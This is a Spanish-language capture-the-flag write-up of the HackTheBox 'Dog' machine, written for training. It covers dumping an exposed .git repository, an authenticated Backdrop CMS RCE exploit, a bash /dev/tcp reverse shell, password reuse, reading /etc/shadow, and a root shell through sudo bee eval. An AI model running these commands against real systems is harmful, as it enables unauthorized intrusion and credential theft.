> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Writeup de Dog en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Habilidades:**

* Extrayendo información de la carpeta .git (filtración de información)
* Ejecución remota de código autenticada (CMS Backdrop)
* Pivoting (reutilización de contraseña)
* binario sudo bee (ejecución de código PHP) (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/2fc50ea080cc3272f14fd2899faea1ddd88fffbe" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/26d91169d8bb4d4728612ed0f394eeb4f1280476" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="/files/7134cf05f99f3ab4951d24f3bb9e3c028ac44527" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap 22.80:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="/files/94d0c7d3dd9c7ce990957051bfe68f242ed7d8a5" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/1f0c419b0d2a2782b2a26cb45fd3556a5fdef9f6" alt=""><figcaption></figcaption></figure>

Descubrimos un **.git** directorio, lo que indica un posible repositorio Git accesible públicamente. El sitio usa el **Backdrop** CMS.

<figure><img src="/files/1a509e0793b5d1d715bd9c588472751d8a5fae6b" alt=""><figcaption></figcaption></figure>

**Enumeración con Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos varios directorios interesantes, incluyendo **.git**.

<figure><img src="/files/4f73823851d444f6f4ce7d1bad88ccb33694e658" alt=""><figcaption></figcaption></figure>

**volcado del repositorio Git**

Recuperamos el contenido del repositorio con:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="/files/50de36662cf33d4be21f26f26c40e4f7180e62f2" alt=""><figcaption></figcaption></figure>

Encontramos un **settings.php** archivo que contiene una contraseña:

<figure><img src="/files/1035539588d043e2c093fce4e0ebf62a0c6a7e2d" alt=""><figcaption></figcaption></figure>

Buscamos correos guardados con:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

Encontramos el siguiente correo: **<tiffany@dog.htb>**.

<figure><img src="/files/b244a603d0afac552848dbd61ca0fbd36ab8888b" alt=""><figcaption></figcaption></figure>

## **Explotación de Backdrop CMS (RCE)**

Usamos las credenciales encontradas para conectarnos al CMS.

<figure><img src="/files/98cd15af8cb29f1d521148a263c535bfbf6c1948" alt=""><figcaption></figcaption></figure>

**Buscar vulnerabilidades**

Con **searchsploit**, identificamos una falla de RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/c54f5d513b7d6451740d3ed233029a6544c7a877" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit:

```bash
python3 52021.py http://10.10.11.58
```

Esto genera un archivo ZIP que contiene una shell en PHP.

<figure><img src="/files/c4e8c248fecddc623c2b0d061b1743ac348df6d9" alt=""><figcaption></figcaption></figure>

Luego comprimimos la shell en **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/f77538cc7750296ca7c931d6948dda792524371a" alt=""><figcaption></figcaption></figure>

Lo inyectamos mediante **admin / installer / manual**.

<figure><img src="/files/cd3348c0b96ec879a0d0c05f82d23d5146ebc8b3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d7c1b424ddaac5281407e9aea2626fce7b65f38e" alt=""><figcaption></figcaption></figure>

**Procesamiento de órdenes**

Encontramos una carpeta **modules/cmd/** que contiene **cmd.php**

<figure><img src="/files/3fecc56c73ba499d2585e56ab18cda1377c67ad4" alt=""><figcaption></figcaption></figure>

Lo que nos permite ejecutar órdenes:

```bash
ifconfig 
```

<figure><img src="/files/39b71b7102c203ed41a042541bf492d5bdf17a25" alt=""><figcaption></figcaption></figure>

### **Shell inversa Backdrop CMS**

Abrimos un listener en el puerto 443:

```bash
nc -nlvp 443 
```

Inyectamos un payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/ca404b5256ab16dfbd0516f54638a3f660ede266" alt=""><figcaption></figcaption></figure>

Una vez conectados, estabilizamos nuestra shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Escalada de privilegios**

### **Pivoting hacia el usuario johncusack**

Enumeramos los usuarios con una shell Bash válida:

```bash
cat /etc/passwd | grep "/bash"
```

Encontramos **root, jobert y johncusack**.

<figure><img src="/files/0b79e3847b4d29271884f32f83a206f9151f3449" alt=""><figcaption></figcaption></figure>

Intentamos reutilizar las credenciales y obtenemos acceso con:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="/files/dd54835b8e2dcb5883127b4fbabcd70e0d3d7ed1" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/bf34ec2ed00a3c300a841d1272c281324762e6ee" alt="" width="557"><figcaption></figcaption></figure>

### **Escalada de privilegios con el binario Bee**

Comprobamos los privilegios de sudo:

```bash
sudo -l
```

Podemos ejecutar **/usr/local/bin/bee** como root.

<figure><img src="/files/7192f8a426704aebc8e5f5810b1b53e27c718994" alt=""><figcaption></figcaption></figure>

**Análisis de Bee**

{% hint style="info" %}
Bee es una herramienta de administración para **Backdrop CMS**, similar a **Drush** para Drupal. Permite la ejecución de varios comandos.
{% endhint %}

`Uso: bee [global-options] [options] [arguments]`

<figure><img src="/files/f1cf213af5e8eecbd9c7db180e2d590fb5534835" alt=""><figcaption></figcaption></figure>

Identificamos la opción **eval** , que permite ejecutar código PHP arbitrario.

<figure><img src="/files/7c581aa13e1f846434aca72d11b81a9a8c35ca0a" alt=""><figcaption></figcaption></figure>

**Lectura `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/4765621d113f7743de90b769efba03c04f3d7cb7" alt=""><figcaption></figcaption></figure>

**Shell de root obtenida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/c032ae571fceb69bf8c49b321e120b6fbbd4e410" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a195339601705cea31c3f9b5c13b1e9885eab61f" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
